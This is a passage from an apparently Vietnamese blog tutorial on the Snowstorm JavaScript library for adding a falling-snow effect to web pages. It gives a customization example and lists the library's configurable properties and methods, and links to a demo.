Snowstom tương thích với các trình duyệt trên các thiết bị di động iPhone, iPad và Android. Tuy nhiên Snowstom sẽ ngốn nhiều CPU khi chạy vì vậy với các thiết bị di động các bạn có thể thiết lập snowStorm.excludeMobile = false để người dùng thiết bị di động khi vào trang web của bạn sẽ không bị treo máy, hao pin.

Tùy biến Snowstorm

Bạn có thể tùy chỉnh các hiệu ứng trong tệp snowstom.js hoặc bằng mã javascript trong trang web của bạn.

Ví dụ:

[html]
<!– required snowstorm JS, default behaviour –>
<script src="snowstorm.js"></script>

<!– now, we’ll customize the snowStorm object –>
<script>
snowStorm.snowColor = ‘#99ccff’; // blue-ish snow!?
snowStorm.flakesMaxActive = 96; // show more snow on screen at once
snowStorm.useTwinkleEffect = true; // let the snow flicker in and out of view
</script>
[/html]

Tham khảo một số thuộc tính và phương thức của snowstom bên dưới nhé:

Configurable Properties

Snowstorm can be fairly easily customized; some of the major properties are listed below.

snowStorm.autoStart = true;
Whether the snow should start automatically or not.
snowStorm.animationInterval = 33;
Theoretical “miliseconds per frame” measurement. 20 = fast + smooth, but high CPU use. 50 = more conservative, but slower
snowStorm.flakeBottom = null;
Limits the “floor” (pixels) of the snow. If unspecified, snow will “stick” to the bottom of the browser window and persists through browser resize/scrolling.
snowStorm.flakesMax = 128;
Sets the maximum number of snowflakes that can exist on the screen at any given time.
snowStorm.flakesMaxActive = 64;
Sets the limit of “falling” snowflakes (ie. moving on the screen, thus considered to be active.)
snowStorm.followMouse = true;
Allows snow to move dynamically with the “wind”, relative to the mouse’s X (left/right) coordinates.
snowStorm.freezeOnBlur = true;
Stops the snow effect when the browser window goes out of focus, eg., user is in another tab. Saves CPU, nicer to user.
snowStorm.snowColor = '#fff';
Don’t eat (or use?) yellow snow.
snowStorm.snowCharacter = '•';
&bull; (•) = bullet. &middot; entity (·) is not used as it’s square on some systems etc. Changing this may result in cropping of the character and may require flakeWidth/flakeHeight changes, so be careful.
snowStorm.snowStick = true;
Allows the snow to “stick” to the bottom of the window. When off, snow will never sit at the bottom.
snowStorm.targetElement = null;
Element which snow will be appended to (default: document body) – can be an element ID string eg. ‘myDiv’, or a DOM node reference.
snowStorm.useMeltEffect = true;
When recycling fallen snow (or rarely, when falling), have it “melt” and fade out if browser supports it
snowStorm.useTwinkleEffect = true;
Allow snow to randomly “flicker” in and out of view while falling
snowStorm.usePositionFixed = false;
true = snow not affected by window scroll. may increase CPU load, disabled by default – if enabled, used only where supported.
snowStorm.vMaxX = 8;
snowStorm.vMaxY = 5;
Defines maximum X and Y velocities for the storm; a random value in this range is selected for each snowflake.

Methods

Snowstorm has a few basic methods for controlling the snow effect.

snowStorm.randomizeWind()
Sets the wind speed with a random value relative to vMaxX and vMaxY properties.
snowStorm.freeze()
Stops the snow effect in place.
snowStorm.resume()
Continues snowing from a “frozen” state.
snowStorm.toggleSnow()
Enables or disables the snow effect depending on state, same as calling freeze() or resume().
snowStorm.stop()
Freezes and kills the snowstorm effect, and removes related event handlers. Snowstorm will not work properly if other methods are called after stop().

Rất đơn giản phải không nào. Xem demo của mình tại đây nhé: http://hanamonline.com/?s=snow khi nào thích xem tuyết rơi cứ vào trang của mình xem tự nhiên nha 🙂